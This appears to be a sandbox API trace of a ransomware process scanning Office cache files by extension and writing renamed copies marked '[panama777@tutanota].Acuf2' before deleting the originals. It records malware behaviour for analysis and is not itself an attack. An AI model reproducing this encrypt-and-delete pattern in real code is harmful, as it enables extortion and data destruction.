	[0038.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.478] lstrlenW (lpString=".dbf") returned 4
	[0038.478] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.478] lstrlenW (lpString=".1cd") returned 4
	[0038.478] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.478] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.478] lstrlenW (lpString=".jpg") returned 4
	[0038.478] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.479] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.479] lstrlenW (lpString="Setup.xml") returned 9
	[0038.479] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.479] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=2362) returned 1
	[0038.479] CloseHandle (hObject=0x168) returned 1
	[0038.479] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0038.479] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.479] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.479] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.479] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.479] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0038.480] GetLastError () returned 0x0
	[0038.480] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x93a, lpOverlapped=0x0) returned 1
	[0038.492] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x940, lpOverlapped=0x0) returned 1
	[0038.493] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.493] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0038.493] SetEndOfFile (hFile=0x160) returned 1
	[0038.493] CloseHandle (hObject=0x160) returned 1
	[0038.494] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.494] SetEndOfFile (hFile=0x168) returned 1
	[0038.494] CloseHandle (hObject=0x168) returned 1
	[0038.494] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.495] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0038.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.495] lstrlenW (lpString=".doc") returned 4
	[0038.495] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.495] lstrlenW (lpString=".docx") returned 5
	[0038.495] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.495] lstrlenW (lpString=".pdf") returned 4
	[0038.495] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.495] lstrlenW (lpString=".xls") returned 4
	[0038.495] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.495] lstrlenW (lpString=".xlsx") returned 5
	[0038.495] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.495] lstrlenW (lpString=".ppt") returned 4
	[0038.495] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.495] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.495] lstrlenW (lpString=".zip") returned 4
	[0038.495] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.495] lstrlenW (lpString=".rar") returned 4
	[0038.495] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.495] lstrlenW (lpString=".bz2") returned 4
	[0038.495] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.495] lstrlenW (lpString=".7z") returned 3
	[0038.496] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.496] lstrlenW (lpString=".dbf") returned 4
	[0038.496] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.496] lstrlenW (lpString=".1cd") returned 4
	[0038.496] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.496] lstrlenW (lpString=".jpg") returned 4
	[0038.496] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.496] lstrlenW (lpString=".doc") returned 4
	[0038.496] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.496] lstrlenW (lpString=".docx") returned 5
	[0038.496] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.496] lstrlenW (lpString=".pdf") returned 4
	[0038.496] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.496] lstrlenW (lpString=".xls") returned 4
	[0038.496] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.496] lstrlenW (lpString=".xlsx") returned 5
	[0038.496] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.496] lstrlenW (lpString=".ppt") returned 4
	[0038.496] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.496] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.496] lstrlenW (lpString=".zip") returned 4
	[0038.496] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.496] lstrlenW (lpString=".rar") returned 4
	[0038.496] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.496] lstrlenW (lpString=".bz2") returned 4
	[0038.496] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.497] lstrlenW (lpString=".7z") returned 3
	[0038.497] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.497] lstrlenW (lpString=".dbf") returned 4
	[0038.497] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.497] lstrlenW (lpString=".1cd") returned 4
	[0038.497] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.497] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.497] lstrlenW (lpString=".jpg") returned 4
	[0038.497] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.497] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.497] lstrlenW (lpString="Setup.xml") returned 9
	[0038.497] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.497] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1852) returned 1
	[0038.497] CloseHandle (hObject=0x168) returned 1
	[0038.497] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0038.497] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.498] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.498] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.498] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.498] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0038.498] GetLastError () returned 0x0
	[0038.498] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x73c, lpOverlapped=0x0) returned 1
	[0038.827] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x740, lpOverlapped=0x0) returned 1
	[0038.828] ReadFile (in: hFile=0x168, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.828] WriteFile (in: hFile=0x160, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0038.828] SetEndOfFile (hFile=0x160) returned 1
	[0038.828] CloseHandle (hObject=0x160) returned 1
	[0038.829] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.829] SetEndOfFile (hFile=0x168) returned 1
	[0038.830] CloseHandle (hObject=0x168) returned 1
	[0038.830] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.830] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0038.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.830] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.830] lstrlenW (lpString=".doc") returned 4
	[0038.830] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.830] lstrlenW (lpString=".docx") returned 5
	[0038.830] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.830] lstrlenW (lpString=".pdf") returned 4
	[0038.831] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.831] lstrlenW (lpString=".xls") returned 4
	[0038.831] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.831] lstrlenW (lpString=".xlsx") returned 5
	[0038.831] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.831] lstrlenW (lpString=".ppt") returned 4
	[0038.831] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.831] lstrlenW (lpString=".zip") returned 4
	[0038.831] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.831] lstrlenW (lpString=".rar") returned 4
	[0038.831] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.831] lstrlenW (lpString=".bz2") returned 4
	[0038.831] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.831] lstrlenW (lpString=".7z") returned 3
	[0038.831] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.831] lstrlenW (lpString=".dbf") returned 4
	[0038.831] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.831] lstrlenW (lpString=".1cd") returned 4
	[0038.831] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.831] lstrlenW (lpString=".jpg") returned 4
	[0038.831] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.831] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.831] lstrlenW (lpString=".doc") returned 4
	[0038.831] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.831] lstrlenW (lpString=".docx") returned 5
	[0038.832] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0038.832] lstrlenW (lpString=".pdf") returned 4
	[0038.832] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.832] lstrlenW (lpString=".xls") returned 4
	[0038.832] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.832] lstrlenW (lpString=".xlsx") returned 5
	[0038.832] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0038.832] lstrlenW (lpString=".ppt") returned 4
	[0038.832] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.832] lstrlenW (lpString=".zip") returned 4
	[0038.832] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.832] lstrlenW (lpString=".rar") returned 4
	[0038.832] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.832] lstrlenW (lpString=".bz2") returned 4
	[0038.832] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.832] lstrlenW (lpString=".7z") returned 3
	[0038.832] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.832] lstrlenW (lpString=".dbf") returned 4
	[0038.832] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.832] lstrlenW (lpString=".1cd") returned 4
	[0038.832] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0038.832] lstrlenW (lpString=".jpg") returned 4
	[0038.832] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.832] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0038.833] lstrlenW (lpString="branding.xml") returned 12
	[0038.833] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0038.889] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=596341) returned 1
	[0038.889] CloseHandle (hObject=0x19c) returned 1
	[0038.889] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020
	[0038.889] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.889] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0038.889] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.889] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.890] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0038.890] GetLastError () returned 0x0
	[0038.890] ReadFile (in: hFile=0x19c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x91975, lpOverlapped=0x0) returned 1
	[0038.903] WriteFile (in: hFile=0x1a0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x91980, lpOverlapped=0x0) returned 1
	[0038.915] ReadFile (in: hFile=0x19c, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.916] WriteFile (in: hFile=0x1a0, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0038.916] SetEndOfFile (hFile=0x1a0) returned 1
	[0038.916] CloseHandle (hObject=0x1a0) returned 1
	[0039.298] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.298] SetEndOfFile (hFile=0x19c) returned 1
	[0039.449] CloseHandle (hObject=0x19c) returned 1
	[0039.449] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.450] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1
	[0039.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0039.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0039.450] lstrlenW (lpString=".doc") returned 4
	[0039.450] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.450] lstrlenW (lpString=".docx") returned 5
	[0039.450] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0039.450] lstrlenW (lpString=".pdf") returned 4
	[0039.450] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.450] lstrlenW (lpString=".xls") returned 4
	[0039.450] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.450] lstrlenW (lpString=".xlsx") returned 5
	[0039.450] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0039.450] lstrlenW (lpString=".ppt") returned 4
	[0039.450] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0039.450] lstrlenW (lpString=".zip") returned 4
	[0039.450] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.450] lstrlenW (lpString=".rar") returned 4
	[0039.450] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.450] lstrlenW (lpString=".bz2") returned 4
	[0039.450] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.450] lstrlenW (lpString=".7z") returned 3
	[0039.450] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0039.451] lstrlenW (lpString=".dbf") returned 4
	[0039.451] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0039.451] lstrlenW (lpString=".1cd") returned 4
	[0039.451] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0039.451] lstrlenW (lpString=".jpg") returned 4
	[0039.451] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0039.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0039.451] lstrlenW (lpString=".doc") returned 4
	[0039.451] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.451] lstrlenW (lpString=".docx") returned 5
	[0039.451] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0039.451] lstrlenW (lpString=".pdf") returned 4
	[0039.452] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.452] lstrlenW (lpString=".xls") returned 4
	[0039.452] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.452] lstrlenW (lpString=".xlsx") returned 5
	[0039.452] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0039.452] lstrlenW (lpString=".ppt") returned 4
	[0039.452] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75
	[0039.452] lstrlenW (lpString=".zip") returned 4
	[0039.452] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
